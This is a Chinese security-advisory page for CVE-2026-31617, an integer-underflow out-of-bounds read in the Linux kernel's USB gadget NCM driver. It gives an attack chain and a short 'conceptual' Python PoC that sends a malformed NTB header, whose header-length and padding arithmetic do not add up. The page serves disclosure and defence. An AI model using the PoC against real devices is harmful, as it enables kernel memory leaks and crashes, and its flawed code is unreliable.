IPBUF安全漏洞报告
English
CVE-2026-31617 CVSS 5.5 中危

Linux内核USB gadget f_ncm越界读取漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31617
漏洞类型
整数下溢/越界读取
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelUSB GadgetInteger UnderflowOut-of-bounds ReadCVE-2026-31617

漏洞概述

Linux内核中的USB gadget功能子系统f_ncm驱动存在一个安全漏洞。在ncm_unwrap_ntb()函数中,由于未对主机提供的block_len进行最小值验证,当block_len小于opts->ndp_size时,会导致整数下溢,从而绕过边界检查。恶意USB主机可利用此漏洞将相邻内核内存复制到网络skb中,导致信息泄露或拒绝服务。

技术细节

该漏洞位于Linux内核的USB NCM(网络控制模型)gadget驱动中。漏洞根源在于`ncm_unwrap_ntb()`函数对NTB(NTB)头部解析时的逻辑缺陷。代码检查了`block_len`是否超过最大值,但未检查其是否足够容纳NDP(NDP)头部。关键检查逻辑`ndp_index > (block_len - opts->ndp_size)`在`block_len`小于`opts->ndp_size`时发生无符号整数下溢,生成一个巨大的正值,导致检查失效。同样的逻辑也存在于数据报索引检查中。攻击者通过发送特制的USB数据包,可操纵指针指向合法传输缓冲区之外的内核内存,随后`skb_put_data()`会将这部分内存数据读出或导致内核崩溃。

攻击链分析

STEP 1
1. 物理连接
攻击者将恶意的USB主机设备连接到配置为USB Gadget模式的Linux目标设备。
STEP 2
2. 发送特制数据
攻击者通过USB端点发送一个精心构造的NCM数据包,其中NTB头部的block_len字段被设置为一个极小的值(小于ndp_size)。
STEP 3
3. 触发整数下溢
目标Linux内核的f_ncm驱动处理该数据包,在执行边界检查时,'block_len - opts->ndp_size'发生整数下溢,导致检查被绕过。
STEP 4
4. 内存越界访问
由于安全检查失效,内核执行skb_put_data(),将指针指向的越界内核内存数据复制到网络缓冲区中。
STEP 5
5. 信息泄露或崩溃
攻击者通过网络接口读取泄露的敏感内核内存数据,或导致内核由于非法内存访问而崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # Conceptual PoC for triggering CVE-2026-31617 # Requires a malicious USB host setup import usb.core import struct def send_malicious_ntb(dev, endpoint): # NCM Header structure # dwSignature: 0x484D434E (NCMH) # wHeaderLength: 0x0010 (16 bytes) # wSequence: arbitrary # wBlockLength: CRITICAL - set to a small value (e.g., 4) to trigger underflow # wNdpIndex: arbitrary offset pointing outside the small block # Normal block_len is usually > 512. Setting it to 4 < ndp_size causes underflow. malicious_block_len = 4 header = struct.pack('<IHHHH', 0x484D434E, # Signature 16, # Header Length 1, # Sequence malicious_block_len, # Malicious Block Length 16 # NDP Index (Offset) ) # Construct the full malformed packet # This attempts to force the kernel to calculate (4 - ndp_size) which underflows payload = header + b'\x00' * (malicious_block_len - 16) try: dev.write(endpoint, payload, timeout=1000) print("[+] Malicious NCM packet sent.") except usb.core.USBError as e: print(f"[-] Error sending packet: {e}") # Note: This is a conceptual demonstration. # Actual exploitation requires the target to be in USB Gadget mode.

影响范围

Linux Kernel < Commit 8f993d30b95dc9557a8a96ceca11abed674c8acb
Linux Kernel < Commit 8757a2593631443648218244b9788e193ae0fdc1
Linux Kernel < Commit 74908b0318d1df1188457040b8714ff4d4b68126

防御指南

临时缓解措施
由于该漏洞需要物理访问或USB设备直连,最有效的临时缓解措施是严格限制USB端口的物理访问权限,并在系统配置中禁用USB Gadget功能(特别是NCM类驱动),直到完成内核补丁的更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表